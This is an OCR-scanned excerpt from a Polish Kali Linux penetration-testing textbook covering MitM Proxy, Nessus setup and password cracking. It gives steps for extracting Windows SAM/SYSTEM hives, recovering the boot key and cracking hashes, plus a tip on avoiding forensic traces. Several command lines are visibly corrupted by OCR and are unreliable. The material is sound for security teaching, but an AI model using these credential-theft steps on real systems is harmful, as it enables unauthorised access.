MitM Proxy Pakiet M itM Proxy to znakomite narzędzie dla każdego pentestera poszukującego podatności i luk w zabezpieczeniach klientów aplikacji internetowych. Program ten pozwala administra torowi na przechwytywanie połączeń i analizę H TTPS, a następnie przekazywanie ich dalej do serwera docelowego. Co w ięcej, MitM Proxy pozwala na modyfikowanie żądań wysyła nych przez klienty oraz odpowiedzi nadchodzących z serwera WWW. Pakiet MitM Proxy umożliwia pentesterowi szybką analizę ataku i sprawdzanie, jakie żądania są wystawiane przez poszczególne klienty i w jaki sposób serwer W W W na nie odpowiada. Aby uruchomić ten program w systemie Kali Linux, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Sniffing/Spoofing/W eb Sniffers/m itm proxy.
Wykorzystanie pakietu MitM Proxy jest zalecane zarówno podczas przygotowywania ataku za pomocą pakietu SET, jak i podczas analizy przebiegu ataku. Z tego powodu w środowisku testowym pakiety SET oraz MitM Proxy powinny działać jednocześnie.
161
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Po załadowaniu pakietu MitM Proxy powinieneś uruchomić przeglądarkę i jako adres U R L wpisać adres swojego lokalnego serwera Kali Linux. Program MitM Proxy wyświetla na ekranie wszystkie transakcje sieciowe (żądania i odpowiedzi) przechwytywane po stronie klienta, jak zostało to zilustrowane na kolejnym rysunku: GET https://github.com / •-200 text/htm l 5.52kB GET h ttp s : //a248. e . akamai. n et/assets.gith u b .co m /style sh e e ts/b u n d le s /gi thub2-24f59e3ded1 1f 2a 1C7ef9ee730882bd8d550cfb8. css <-200 te x t/ c s s 28.27kB GET https://a248.e.akam ai.net/assets.github.com /im ages/m odules/header/logov7#4x-hover.png?1 324325424 <-200 image/png 6.01kB GET h ttp s : //a248. e . akamai. n et/assets.github.com /javascripts/bundles/jquery-b2ca07cb3c906cec cfdS8811b430b8bc25245926. j s <-200 a p p lic a tio n / x -ja v a s c r ip t 32.59kB O GET h ttp s://a 2 4 8 .e .a k a m a i.n e t/a sse ts.github.com /stylesheets/bundles/github-cbS64c47c51a14 a f 1ae265d7ebab59c4e78b92cb.css <-200 te x t/ c s s 37.09kB GET h ttp s://a 2 4 8 .e .a k a m a i.n e t/a sse ts.github.com/images/modules/home/logos/facebook.png71324 526958 <-200 image/png 5.55kB
Znajdziesz tutaj pełny dziennik aktywności przeglądarki po stronie klienta. Jak widać, choć MitM Proxy nie jest wykorzystywany jako aktywny element typowego testu penetracyjnego aplikacji internetowych, to jednak jest znakomitym narzędziem pozwalającym na odpowiednie przy gotowanie i konfigurację ataku za pomocą pakietu SET. W kolejnych rozdziałach będziemy omawiać inne rodzaje serwerów proxy, aczkolwiek tutaj zdecydowaliśmy się na wspomnienie o pakiecie MitM Proxy głównie dlatego, że znakomicie ułatwia pentesterom testowanie przy gotowywanych ataków poprzez analizę ruchu sieciowego bezpośrednio na komputerze lokal nym, na którym działa Kali Linux.
Skanowanie hostów Najpopularniejszą metodą pozwalającą w ostatecznym efekcie uzyskać nieautoryzowany do stęp do wybranego hosta jest wyszukiwanie, identyfikacja i wykorzystywanie podatności i luk w zabezpieczeniach systemu operacyjnego, zainstalowanych aplikacji i innych programów. Narzędzia takie jak Nessus pozwalają na zautomatyzowanie procesu skanowania hostów w poszu kiwaniu słabych stron i znanych luk w zabezpieczeniach. W tym podrozdziale pokażemy, jak zainstalować, uruchomić pakiet Nessus oraz jak wykorzystać go do skanowania systemu będą cego przedmiotem ataku. W iele spośród narzędzi, które omawialiśmy w rozdziale 3., „Ataki na serwery aplikacji internetowych”, może być z powodzeniem wykorzystane do eksploatacji luk w zabezpieczeniach, zidentyfikowanych przez Nessus.
Skanowanie hostów za pomocą pakietu Nessus W systemie Kali Linux Nessus nie jest preinstalowany. Aby z niego skorzystać, musisz naj pierw uzyskać odpowiedni kod rejestracyjny od firmy Tenable, producenta pakietu Nessus.
162
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
Firma Tenable oferuje bezpłatną licencję do użytku domowego (h om e f e e d option ), dzięki któ rej możesz skanować maksymalnie do 16 adresów IP Jeżeli chcesz skanować większe sieci lub wykorzystywać Nessus do celów komercyjnych, musisz zamówić pełną licencję (profession al f e e d option).
Instalowanie pakietu Nessus w systemie Kali Linux Licencja Nessus HomeFeed pozwala na bezpłatne wykorzystywanie pakietu Nessus w sieci domowej, z wyłączeniem zastosowań komercyjnych. Jeżeli chcesz używać Nessusa w miejscu pracy, musisz zakupić licencję komercyjną, Nessus ProfessionalFeed. Aby uzyskać kod akty wacyjny dla bezpłatnej licencji komercyjnej, powinieneś zajrzeć na stronę internetową http://w w w .tenable.com /produ cts/n essu s-hom e. Nessus nie jest preinstalowany w systemie Kali Linux, więc aby go używać, najpierw musisz go samodzielnie pobrać ze strony producenta i zainstalować. Co prawda nie ma wersji Nessusa przygotowanej specjalnie dla systemu Kali Linux, ale zamiast tego znakomicie sprawdza się wersja dla systemu D ebian 6.0. 1. Pobierz pakiet Nessus w wersji dla systemu Debian. Aby to zrobić, uruchom przeglądarkę i przejdź na stronę http://w w w .tenable.com /produ cts/n essu s/selectyour-operating-system , gdzie znajdziesz zarówno 32-bitową, jak i 64-bitową wersję tego pakietu (w naszym przykładzie używamy wersji 64-bitowej).
Pamiętaj, aby pobierany pakiet Nessus zapisać w katalogu /tmp. Jeżeli użyjesz innego katalogu, będziesz mu siał odpowiednio zmodyfikować ścieżki w poleceniach opisywanych poniżej. 2. Przejdź do katalogu, w którym zlokalizowany je st pobrany ze strony producenta pakiet Nessus, i wykonaj polecenia przedstawione poniżej: a r v x N e s s u s - 5 .2 .1 - d e b ia n 6 * t a r - x z v f d a ta .ta r .g z t a r - x z v f c o n t r o l.t a r .g z a r v x N e s s u s - 5 .2 .1 - d e b ia n 6 * , t a r - x z v f d a t a .t a r .g z t a r - x z v f c o n t r o l.t a r .g z
Gdy to zrobisz, w katalogu Nessusa powinieneś znaleźć katalogi etc oraz o p t. 3. Skopiuj podkatalog nessus znajdujący się w katalogu /tm p/opt do katalogu /opt. Przed rozpoczęciem kopiowania upewnij się, że katalog /op t istnieje; jeżeli nie, musisz go utworzyć. Aby to zrobić, wykonaj polecenia przedstawione poniżej: m k d ir / o p t (Jeżeli na ekranie pojaw i się komunikat, że taki fo ld er już istnieje, p o prostu przejdź
do kolejnego polecenia) cp - R f / tm p / o p t/ n e s s u s / o p t cp - R f / t m p / e t c / in it . d / n e s s u s * / e t c / i n i t . d
163
fl
K a li L in u x . T e s ty p e n e tra c y jn e
root@kat: : /Nessusl# cp -Rf /Nas^üsl/Opt/nessus/ /opt/ root@ kali: /Nessusl# cp -Rf /N966U6ł/ Qt tU43Łtf d/ne ssüsa vkV c/frw w ii root@ kali:/Nessusl# / e t c / in it .d/nessusd sta rt $ Startin g Nessus : . root@ kali:/Nessusl# 4. Teraz możesz usunąć już wszystkie pozostałe pliki Nessusa z katalogu /tmp. 5. Aby uruchomić pakiet Nessus, wykonaj polecenie przedstawione poniżej: / e t c / in it .d / n e s s u s d s t a r t
6. Zaloguj się do konsoli zarządzania pakietu Nessus. Aby to zrobić, uruchom przeglądarkę i w pasku adresu wpisz h t t p s : / / 1 2 7 . 0 . 0 . 1 : 8 8 3 4 .
Używanie pakietu Nessus Kiedy po raz pierwszy zalogujesz się do Nessusa, na ekranie pojawi się kilka komunikatów powi talnych oraz okno dialogowe z ostrzeżeniem SSL , że łączysz się z witryną podpisaną je j wła snym certyfikatem. Następnie pojawi się kilka kolejnych, niewymagających specjalnych obja śnień ekranów z różnymi informacjami, i wreszcie Nessus poprosi Cię o wprowadzenie kodu aktywacyjnego, który pozwoli na pobranie najnowszego zestawu wtyczek skanera.
W elcom e to N e ssu s* 5 Thank you tor installing N cssu s, the world leader in vulnerability scan n ers. N cssu s will allow you to perform: • I ilgh-speed vulnerability discovery, to determine which hosts are running which seiv lce s • A ge n rle ss auditing, to m ake sure no host on your network is missing security p arches • Compliance c h eck s, to verify and prove llial every host un your network ad h eres to llie security policy you defined • S c a n scheduling, to automatically run s c a n s at lire frequency you select • And more!
Duriny the next steps, we a te going to c rea te an administrative accoun t and regislei your scan n er with a Plugin Feed , which w e will download. You will n eed an Activation c o d e before you can u se N essu s; if you do not have an Activation Code alieady. p lea se go to http://www.nessus.oru/iegistei/ to gel one now.
G e t s ta rre d >
C lic k t o s w itc h t o "W o rk s p
Będziesz musiał również ustawić nazwę użytkownika i hasło dostępu, za pomocą których będziesz się logował do konsoli Nessusa. Na kolejnych rysunkach przedstawiamy proces tworzenia konta i wprowadzania kodu aktywacyjnego (który otrzymasz od firmy Tenable e-mailem po zarejestrowaniu się na je j stronie).
164
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
flessus"
Initial A c co u n t Se tup First, w e need to crea te an admin u ser for the scanner. I his u ser will have administrative control on the s c a n n e r the admin h a s Die ability lu cicalc/dclclu users, slop ongoing sca n s, and chan ge lire scan ner conliguralion. I agin: I] Passw ord:
Confirm Password: < Prev
Next >
Decause the admin user can change the scanner configuration, the admin has the ability to execute commands on the remote host. I herefore, it should he considered that the admin user has the same privileges as the "roor (or udminishului) usci on llic icmulc liosi
Plugin Feed Registration As information about new vulnerabilities is discovered and released into the public domain, Tenable's research staff designs programs ("plugins") that enable Nessus to detect their presence. The plugins contain vulnerability information, the algorithm to test for the presence of the security issue, and a set of remediation actions. To use Nessus, you need to subscribe to a "Plugin Feed" to obtain an Activation Code. I a lre a d y h a v e an A ctiv a tio n C o d e
Please enter your Activation Code: | • Tenable SecuritvCenter users: Enter 'SecurityCenter' in the field above • To perform offline plugin updates, enter 'offline' in the field above
Pierwsze pobieranie pełnego zestawu wtyczek może zająć całkiem sporo czasu, więc powi nieneś uzbroić się w cierpliwość. Q n «» n
N essus is fetching the newest plugin set P le a s e w a it . . .
The Nessus s e rv e r is now do w nlo ad in g th e ne w est plugins fro m Tenable w hich m a y ta k e som e t im e as w e 're te stin g fo r a l o t o f stuff. Then, th e Nessus s e rv e r w ill s ta rt processing th e plugins, w hich is CPU / d isk in te nsive a n d, th e re fo re , ta ke s a lo t o f tim e — th is is a ll p a r t o f th e insta llatio n process. Once th e plugins a re d o w nlo ad ed and processed, subsequent sta rtu p s w ill be m uch fa s te r. Since th is op era tion is ta k in g som e tim e , he re a re som e useful links: • D oc u m e n ta tio n : This page c ontains a II o f th e m anuals th a t y o u 'll ne ed to g e t th e m o s t o u t o f Nessus and its featu res. • Discussion F orum s: Do you need som e he lp o r w a n t t o in te ra c t w ith th e Nessus c o m m u n ity? T his w ou ld be th e place to go! • Nessus Video T u to ria ls : O u r YouTube channel contains a lo t o f v ideos th a t w ill he lp new Nessus users g e t s ta rte d , and exp erien ced users to d isco ver new fe atu res. • S upport P o rtal: M anage y o u r fe ed , open s u p po rt tic k e ts and g e t sam p le s e cu rity policies (a u d it file s). • Tenable B lo g : C ontains d a ily posts a b o u t new fe a tu re s f o r all o f o u r pro du cts: Nessus, S e cu rityC e n te r, th e Log C o rrelatio n Engine (LCE), and th e Passive V u ln e ra b ility Scanner (PVS). • M an da tory Sales Pitch: Do you in te n d t o use Nessus to scan a la rge n e tw o rk ? T ake a lo o k a t Tenable S e cun tvC en te r to see how yo u could leve ra ge m u ltip le scanners In y o u r e n v iro n m e n t and sha re th e resu lts w ith th e re s t o f y o u r te a m . • Tenable Podcast: Tenable re g u la rly holds a podcast w h e re w e discuss a b o u t m a jo r s ecu rity eve n ts o f th e w ee k. • T w itte r : Yup, w e ’re th e re to o.
Thanks again for installing Nessus. and for your patience while the plugins are getting downloaded and processed. We hope you'll enjoy Nessus S's new features' Good luck w ith th e a u d it o f y o u r n e tw o rk '
165
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Gdy zakończy się pobieranie i pomyślnie zainstalujesz wszystkie aktualizacje, na ekranie po jawi się okno logowania do konsoli skanera Nessus. Wpisz nazwę konta użytkownika oraz hasło dostępu, które utworzyłeś podczas konfiguracji skanera.
Nessus
vulnerability scanner
Sign In To Continue Luukiłig fot III« ułdw Flash ¡tilwíacv?
tenable nctwgifc security
Aby uruchomić skanowanie, kliknij kartę Scan, znajdującą się na wstążce w górnej części ekranu, i wybierz polecenie N ew Scan. Następnie Nessus poprosi Cię o podanie pewnych danych doty czących hosta lub hostów, które mają być przeskanowane. Będziesz musiał również wybrać profil skanowania, którego chcesz użyć. Nessus posiada wbudowanych kilka różnych profili skanowania (szablonów). W naszym przykładzie użyjemy profilu E xternal N etw ork Scan.
Jeżeli karta Scan nie jest dostępna, możesz zamiast tego wybrać opcję Scan Templates, a następnie polecenie New Scan.
Gdy wybierzesz opcję Create Scan, program utworzy nowe zadanie skanowania, które zostanie uruchomione w wybranym przez Ciebie momencie. Domyślnie zadania skanowania są uru chamiane od razu po utworzeniu, aczkolwiek w razie potrzeby możesz wybrać dzień i godzinę jego uruchomienia.
166
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
Po zakończeniu zadania możesz przejść na kartę Results i zobaczyć raport ze skanowania, za wierający informacje o wszystkich podatnościach i lukach znalezionych przez Nessus w bada nym systemie.
Nessus" v u ln e ra b ility s c a n n e r Templates
Policies
Users
Configuration
Na karcie Results znajdziesz raporty nie tylko z ostatnio przeprowadzonego skanu, ale rów nież wszystkich innych, wykonanych do tej pory zadań skanowania, jak przedstawiono na ko lejnym rysunku.
Każdego pentestera będą oczywiście najbardziej interesowały informacje o lukach w zabez pieczeniach, które Nessus znalazł w testowanym systemie czy systemach. Zidentyfikowane luki w zabezpieczeniach, dla których Nessus był w stanie znaleźć w swojej bazie odpowiedni numer referencyjny (odwołujący się do danej aktualizacji firmy M icrosoft lub kodu podatno ści w bazie danych), mogą być następnie wykorzystane poprzez odpowiednie exploity w pa kiecie Metasploit Framework. W ięcej szczegółowych informacji na temat używania tego pa kietu znajdziesz w rozdziale 3., „Ataki na serwery aplikacji internetowych”. Jak widać na poniższym rysunku, nasz przykładowy host ma wiele bardzo niebezpiecznych luk w zabezpieczeniach, które mogą z powodzeniem zostać wykorzystane do uzyskania nie autoryzowanego dostępu do systemu przy użyciu takich narzędzi, jak Metasploit i inne. W ię cej szczegółowych informacji na temat wykorzystywania luk w zabezpieczeniach przy użyciu tego pakietu znajdziesz w rozdziale 3., „Ataki na serwery aplikacji internetowych”.
167
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Nessus posiada wiele opcji pozwalających na zapisywanie raportów ze skanowania w różnych formatach, takich jak HTM L, CSV, P D F itp. Aby wyeksportować raport, przejdź do sekcji Results i zaznacz wybrane zakończone zadanie skanowania. Na trzeciej karcie z lewej strony znaj dziesz opcje eksportu, jak przedstawiono na rysunku poniżej:
168
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
Przechwytywanie i łamanie haseł użytkowników Łamanie haseł to z definicji proces odtwarzania hasła na podstawie danych, które są przechowy wane lub przesyłane przez system komputerowy. Hasła są jednym z najczęściej wykorzysty wanych mechanizmów zabezpieczania różnego rodzaju systemów, o czym wspominaliśmy już w rozdziale 3., „Ataki na serwery aplikacji internetowych”. Klientami aplikacji internetowych są zazwyczaj hosty działające pod kontrolą systemów Windows lub Linux. Każdy z tych systemów posiada swoje specyficzne metody przechowywania i ochrony haseł. Skoncentrujemy się tutaj na łamaniu haseł przechowywanych w plikach systemowych. Dlaczego omawiamy takie zagadnienie w książce poświęconej testom penetracyjnym aplikacji internetowych? Odpowiedź je st prosta — najczęściej to właśnie takie systemy są autoryzowa nymi klientami aplikacji internetowych, stąd złamanie zabezpieczeń i uzyskanie dostępu do klienta oznacza otwarcie szerokich możliwości dostępu do aplikacji internetowej będącej ce lem testu penetracyjnego. Najłatwiejsza droga do pozyskania hasła dostępu do systemu wiedzie przez odpowiednio przygotowany atak socjotechniczny. Jak już wcześniej wspominaliśmy, potencjalny napastnik może próbować pozyskać hasło lub przynajmniej wskazówki ułatwiające jego odgadnięcie po przez podszywanie się pod innego, autoryzowanego użytkownika lub pracownika firmy. Jeżeli na pastnik na przykład dowie się, że w danej organizacji hasła mają długość od 6 do 10 znaków, rozpoczynają się od wielkiej litery i kończą cyfrą, to taka informacja drastycznie redukuje liczbę potencjalnych haseł, które należy sprawdzić metodą bru te-force (w systemie Kali Linux znajdziesz narzędzie o nazwie Crunch pozwalające na łatwe generowanie listy tego typu ha seł, która następnie może być wykorzystana do łamania haseł za pomocą innych narzędzi). Dobrze przygotowany pentester powinien przeprowadzić szeroko zakrojone rozpoznanie syste mu, który będzie przedmiotem ataku, wykorzystując do tego celu techniki omawiane w roz dziale 2., „Rekonesans”. Takie działania powinny pozwolić mu na identyfikację rodzaju systemów funkcjonujących w środowisku celu, poznać reguły tworzenia i stosowania haseł, zidentyfiko wać użytkowników odpowiedzialnych za zarządzanie poszczególnymi systemami i zdobyć wiele innych informacji, które w ostatecznym efekcie mogą przyczynić się do zredukowania liczby potencjalnych haseł i ułatwić ich złamanie. Istnieje co najmniej kilka różnych sposobów łamania haseł. Poniżej przedstawiamy listę naj popularniejszych technik: ■
Odgadywanie haseł — metoda trochę z pogranicza parapsychologii i telepatii; napastnik na podstawie posiadanych informacji o systemie i jego użytkowniku stara się odgadnąć hasło dostępu.
■
Atak słownikowy — zautomatyzowany atak polegający na systematycznym sprawdzaniu kolejnych haseł ze słownika.
169
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
Atak siłowy (bru te-force) — atak polegający na generowaniu wszystkich możliwych kombinacji znaków w poszukiwaniu prawidłowego hasła.
■
Atak hybrydowy — atak mieszany, polegający na połączeniu ataku słownikowego z atakiem siłowym.
Hasła dostępu muszą być przechowywane w systemie tak, aby podczas logowania system był w stanie zweryfikować tożsamość użytkownika i sprawdzić jego prawa dostępu. Z oczywistych powodów hasła przechowywane w systemie nie są zapisywane w postaci czystego tekstu. Większość systemów do ochrony haseł wykorzystuje połączenie szyfrowania z innymi meto dami ochrony, ponieważ do odszyfrowania pliku potrzebny je st klucz szyfrowania, co z kolei może przesądzać o podatności takiej metody na ataki kryptograficzne. Haszowanie fu n kcja skrótu) to metoda przekształcania klucza szyfrującego lub hasła do postaci zupełnie innej wartości. Haszowanie jest operacją jednokierunkową, co oznacza, że na pod stawie wartości funkcji skrótu nie można w sposób obliczeniowy odtworzyć wartości w ejścio wej. Co w ięcej, haszowanie przypisuje każdej wartości wejściowej unikatową wartość funkcji skrótu, co oznacza, że wartości funkcji skrótu mogą być bezpiecznie przechowywane i wyko rzystywane do weryfikacji wpisywanego hasła i uwierzytelniania użytkowników. Zmiana jednego elementu hasła, taka jak zmiana litery z wielkiej na małą, dodanie spacji lub znaku specjalnego powoduje wygenerowanie zupełnie innej wartości funkcji skrótu. Jeżeli znasz algorytm używany do haszowania, możesz poddać wartości funkcji skrótu atakowi typu bru te-force. Istnieje bardzo wiele narzędzi, takich jak na przykład John the Ripper, które są w stanie automatycznie rozpoznać rodzaj funkcji skrótu i przeprowadzić atak siłowy po przez automatyczne generowanie kolejnych wartości skrótu i porównywanie ich z orygina łem. Po znalezieniu pasującej pary John the Ripper wyświetla na ekranie ciąg tekstowy, który został użyty do wygenerowania danej wartości funkcji skrótu. Tablice tęczowe (ang. R ain bow Tables) to największy nieprzyjaciel popularnych algorytmów haszujących. Tablice tęczowe to baza danych wstępnie obliczonych wartości funkcji skrótu, które mogą być używane do szybkiego wyszukiwania hasła reprezentującego daną wartość skrótu. Witryny internetowe, takie jak https://w w w .freerainbowtables.com /, oferują tablice tęczowe dla wszystkich popularnych algorytmów haszujących, takich jak M D 5, powszechnie używany w systemie Windows. Kali Linux również oferuje takie narzędzia, na przykład RainbowCrack, które pozwalają na generowanie własnych tablic tęczowych. Haszowanie z dodatkiem soli kryptograficznej to metoda, która została opracowana jako sposób walki z tablicami tęczowymi. Metoda polega na dodawaniu do wartości funkcji skrótu do datkowych bitów (tzw. ciąg zaburzający) w celu otrzymania wartości, której nie można znaleźć w tablicach tęczowych. Niestety, wiele systemów, takich jak Windows, nie wykorzystuje jesz cze haszowania z dodatkiem soli kryptograficznej.
170
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
Hasła w systemie Windows Windows to najpopularniejszy obecnie system operacyjny wykorzystywany w zastosowaniach biznesowych. Droga, jaką firma M icrosoft przeszła w dziedzinie ochrony haseł, była wyjąt kowo wyboista. Najnowsze wersje systemów Windows są jednak znacznie bezpieczniejsze niż ich starsze odpowiedniki, co nie zmienia jednak w niczym faktu, że nadal są podatne na ataki przeprowadzane za pomocą wielu narzędzi dostępnych w systemie Kali Linux. System Windows przechowuje hasła w pliku gałęzi SAM rejestru (ang. SAM — System A cco unt M anagem ent), który zlokalizowany jest w katalogu C:\%systemroot%\sys32\config. W yjąt kiem od tej reguły jest sytuacja, kiedy komputer należy do domeny Active Directory. Domeny takie wykorzystują odrębny system uwierzytelniania użytkowników, gdzie hasła są przecho wywane w bazie danych LDAP Plik SAM przechowuje wartości skrótów haseł użytkowników w formacie LM i NTLM . Jest to plik chroniony, którego nie można w normalny sposób skopiować ani przenieść w czasie działania systemu Windows. Zawartość tego pliku można jednak „zrzucić” na dysk do postaci tekstowej, dzięki czemu można odczytać wartości funkcji skrótów poszczególnych haseł i użyć ich następnie jako danych wejściowych do ataku b ru te-force, którego zadaniem będzie złamanie haseł. Haker może również pozyskać kopię pliku SAM poprzez uruchomienie dane go komputera pod kontrolą innego systemu operacyjnego, ładowanego z dysku CD/DVD lub pamięci U SB, takiego jak wybrane dystrybucje systemu Linux (np. Kali Linux) czy specjalnie przygotowane klony systemu Windows. Kopię zapasową pliku SAM można również odnaleźć w katalogu C:\%systemroot%\repair. Kopia zapasowa pliku SAM jest tworzona domyślnie i zazwyczaj nie je st usuwana przez ad ministratorów systemu. Plik kopii zapasowej nie jest chroniony, aczkolwiek jest przechowy wany w postaci skompresowanej, co oznacza, że przed odczytaniem jego zawartości musisz go rozpakować. Możesz użyć do tego celu systemowego polecenia expand, którego składnia jest bardzo prosta: expand [ p l i k s k o m p r e s o w a n y ] [ k a t a l o g d o c e l o w y ] . Poniżej przedsta wiamy przykładowe wywołanie polecenia expand, za pomocą którego możesz rozpakować skompresowaną kopię zapasową pliku SAM: C:\> expand SAM uncom pressedSAM Aby zwiększyć odporność systemu operacyjnego na ataki typu offline, firma Microsoft, począwszy od systemu Windows 2000, dołącza narzędzie SYSKEY, pozwalające na zaszyfrowanie bazy da nych kont systemu, przechowywanej w pliku SAM, za pomocą szyfrowania wykorzystującego unikatowy dla każdej instalacji klucz o długości 128 bitów. Potencjalny napastnik, mający fizyczny dostęp do danego systemu Windows, może jednak po zyskać klucz B oo tK ey (zwany również klu czem urucham iania systemu). Aby to zrobić, należy wykonać następujące polecenia: 1. Uruchom komputer pod kontrolą innego systemu operacyjnego (np. Kali Linux), ładowanego z dysku CD/DVD lub pamięci USB.
171
fl
K a li L in u x . T e s ty p e n e tra c y jn e
2. Skopiuj pliki gałęzi SAM i SYSTEM rejestru (znajdziesz je w katalogu C:\%systemroot%\sys32\config). 3. Odzyskaj klucz uruchamiania z pliku gałęzi SYSTEM rejestru za pomocą narzędzi takich jak bkreg lub bkhive. 4. Odczytaj wartości funkcji skrótu haseł z bazy kont systemu przechowywanej w pliku SAM. 5. Spróbuj złamać hasła za pomocą narzędzi takich jak John the Ripper.
Pamiętaj, że kiedy próbujesz odczytać lub zapisać dowolny plik w systemie Windows, powodujesz mo dyfikację wartości znaczników czasu MAC (ang. Modify, Access, ChangĄ tego pliku, co jest sposobem, w jaki system Windows loguje Twoje działania. Aby uniknąć pozostawiania śladów, które będą mogły być odnalezione za pomocą technik informatyki śledczej, powinieneś przed rozpoczęciem ataków wyko nać pełną kopię atakowanego systemu i później pracować lokalnie na tej kopii.
Montowanie dysków z systemem Windows Jak już wiesz, istnieją narzędzia pozwalające na skopiowanie plików SAM i SYSTEM z hosta pracującego pod kontrolą systemu Windows. Jedną z metod osiągnięcia takiego celu je st za montowanie w systemie Linux dysku z partycją systemową Windows, dzięki czemu narzędzia linuksowe będą miały do niej pełny dostęp. Aby to zrobić, powinieneś najpierw za pomocą polecenia f d i s k - l zidentyfikować dostępne partycje i zlokalizować tę, na której zainstalowany jest system Windows. Polecenie fdisk wy świetla partycję N T F S w następujący sposób: Device Boot S ta rt End Blocks Id System /dev/hdb1* 1 2432 19535008+ 86 NTFS /dev/hdb2 2433 2554 979965 82 Linux swap/Solaris /dev/hdb3 2555 6202 29302560 83 Linux Teraz utwórz punkt montowania partycji, wykonując polecenie m k d ir /m n t/w in d ow s . Po utworzeniu punktu montowania możesz zamontować partycję systemu Windows. Aby to zrobić, wykonaj polecenie takie jak przedstawione poniżej: mount - t < P a r t y c j a syste m u W indows> /m nt/w indow s li o o t @ k a l i : - # m k d i r / m n t / w i n d o w s sot@kali:~-# mount -t n t f s - 3 g / d e v / h d b l / m n t / w i n d o w s |
Od tej chwili partycja systemu Windows jest zamontowana w Twoim systemie Linux, dzięki czemu możesz skopiować pliki SAM i SYSTEM do wybranego katalogu na dysku lokalnym Twojego komputera. Możesz to zrobić za pomocą następującego polecenia: cp SAM SYSTEM / p e n t e s t / p a s s w o r d s / A t t a c k D ir e c t o r y
172
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
Kolejną czynnością będzie wydobycie zawartości pliku SAM i zrzucenie je j do pliku lokalnego. Istnieje całkiem sporo narzędzi pozwalających na wykonanie takiej operacji, dobrym przykładem będą tutaj programy takie jak PwDump czy Cain and Abel. W systemie Kali Linux możesz użyć do tego celu polecenia samdump, o którym będziemy jeszcze mówić w nieco dalszej części tego rozdziału.
Pamiętaj, że jeżeli baza kont systemu Windows została zaszyfrowana poleceniem SYSKEY, będziesz mu siał zarówno skopiować plik SAM, jak i odzyskać klucz uruchamiania systemu BootKeyz pliku SYSTEM. Jest on niezbędny do uzyskania dostępu do pliku SAM i narzędzia do łamania haseł będą wymagały podania tego klucza.
Polecenia bkreg i bkhive to dwa bardzo popularne narzędzia pozwalające na odzyskanie klucza uruchamiania systemu z pliku gałęzi SYSTEM rejestru, jak przedstawiono na rysunku poniżej: r o o t # k a li:i bkhive /wln/WINDOWS/syste«32/conflg/syste* key.txt bkhive 1 .1.1 by O b je ctif Sécu rité h ttp ://w w w .o b jectlf-securlte.ch o r ig in a l author: [email protected] Root
Key
:
O e fa u lt C o n tr o lS e t: 602____________ Bootkey:
Hasła w systemie Linux Systemy Linux wykorzystywane w charakterze klientów aplikacji internetowych nie są tak często spotykane, jak systemy Windows, a uzyskanie nieautoryzowanego dostępu na poziomie administratora systemu (użytkownik root) do takich systemów to zupełnie inna para kaloszy. Bardzo często w takich systemach można znaleźć hasła zapisane czystym tekstem w plikach takich jak .n etrc, które są wykorzystywane przez mechanizm automatycznego logowania usług, na przykład Telnet bądź FTP W zdecydowanej większości przypadków potencjalny napast nik będzie się raczej starał zdobyć kopię plików p assw d i sh ad ow , które są zazwyczaj prze chowywane w katalogu /etc (pliki /etc/passw d oraz /etc/sh ad ow ). Plik sh ad ow może być odczytywany tylko przez użytkownika ro o t i zawiera wartości funkcji skrótu M D 5 haseł poszczególnych użytkowników. Pozyskanie kopii pliku sh ad ow w systemie Linux jest znacznie trudniejsze niż kopii pliku SAM w systemie Windows. Istnieją jednak metody przechwycenia i skopiowania tego pliku przy użyciu programu uruchomieniowego, takiego jak na przykład grub. Metodologia łamania haseł systemu Linux jest bardzo zbliżona do tego, jak to się odbywa w przy padku innych systemów, na przykład Windows. Większość narzędzi przeznaczonych do łama nia haseł, takich jak John the Ripper, potrafi automatycznie zidentyfikować wartości skrótów przechowywanych w plikach sh ad ow oraz p assw d i dokonać próby ich złamania przy użyciu odpowiednio dobranego ataku hybrydowego.
173
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Narzędzia do łamania haseł dostępne w systemie Kali Linux W systemie Kali Linux znajdziesz różne narzędzia przeznaczone do łamania haseł i kompro mitowania zabezpieczeń opartych na hasłach. W menu systemu Kali Linux takie narzędzia znajdziesz w kategorii P assw ord A ttacks, która została podzielona na dwie główne kategorie: O ffline A ttack oraz Online A ttacks. W tym podrozdziale skoncentrujemy się na narzędziach pozwalających na skompromitowanie systemu zabezpieczeń podczas przeprowadzania testów penetracyjnych aplikacji internetowych. Kali Linux posiada również inne narzędzia o zbliżo nej funkcjonalności, takie jak narzędzia do łamania haseł zabezpieczających sieci bezprzewo dowe, aczkolwiek omawianie ich wykracza już daleko poza ramy tej książki.
Pamiętaj, że konsolowa wersja programu John the Ripper oraz pakiet Hydra zostały już wcześniej omó wione w rozdziale 3., „Ataki na serwery aplikacji internetowych".
Johnny Johnny to po prostu graficzny interfejs użytkownika bardzo popularnego i dobrze znanego programu John the Ripper. Tradycyjną, konsolową wersję tego programu omawialiśmy już w rozdziale 3., „Ataki na serwery aplikacji internetowych”. Podobnie jak wersja konsolowa, Johnny posiada kilka silników, pozwalających na łamanie różnych rodzajów haseł, włącznie z hasłami, które zostały wcześniej poddane procesowi szyfrowania czy haszowania. Johnny posiada zdolność automatycznego rozpoznawania większości powszechnie używanych typów funkcji haszujących i metod szyfrowania, co znakomicie ułatwia korzystanie z tego programu zarówno pentesterom, jak i innym użytkownikom. Hakerzy i inne czarne charaktery również uwielbiają to narzędzie ze względu na jego elastyczność i szeroki zakres konfiguracji, pozwalający na zoptymalizowanie ataków i przyspieszenie procesu łamania haseł.
Niektóre opcje wersji konsolowej John the Ripper mogą nie być dostępne w programie Johnny, z tego względu do naprawdę poważnych zadań zalecamy używanie tej pierwszej wersji.
Proces łamania haseł za pomocą programu John the Ripper odbywa się zazwyczaj w następujący sposób: ■
Próba złamania hasła za pomocą ataku słownikowego.
■
